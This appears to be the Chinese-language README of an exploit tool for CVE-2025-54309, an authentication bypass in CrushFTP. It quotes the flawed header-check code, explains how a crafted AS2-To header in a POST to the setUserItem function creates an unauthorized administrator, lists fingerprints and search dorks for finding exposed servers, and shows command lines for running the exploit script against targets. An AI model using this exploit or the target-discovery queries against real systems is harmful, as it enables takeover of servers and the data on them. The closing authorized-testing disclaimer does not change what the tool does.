CVE-2025-54309 是 CrushFTP 中的一个身份认证绕过漏洞,允许通过操纵 AS2 头来创建未经授权的管理员用户。
crushftp/server/ServerSessionHTTP.javaloginCheckHeaderAuth()(第 2285 行)} else if (this.headerLookup.containsKey("as2-to".toUpperCase())) {
if (this.headerLookup.getProperty("as2-to".toUpperCase()).trim().indexOf("-_-") < 0 && !ServerStatus.BG("blank_passwords")) {
return; // Authentication bypass occurs here
}
/WebInterface/function/ 发送带有空 AS2-To 头的 POST 请求setUserItem 命令AS2-To 头中缺少 -_- 分隔符,服务器会绕过身份认证http.server_hash:525710691,-1319113083,2114359341,1401270286,-608770667http.favicon.hash:-1022206565"/WebInterface/w3c/p3p.xml"intitle:"CrushFTP WebInterface"inurl:"/WebInterface/login.html"python3 cve_2025_54309.py <target_url> [-u username] [-p password] [-v]
# Basic exploitation
python3 cve_2025_54309.py http://crushftp.example.com:8080
# Custom credentials
python3 cve_2025_54309.py https://crushftp.example.com -u kali -p kali1
# With login verification
python3 cve_2025_54309.py http://crushftp.example.com -v
本工具仅供经授权的安全测试使用。用户需自行遵守适用的法律法规。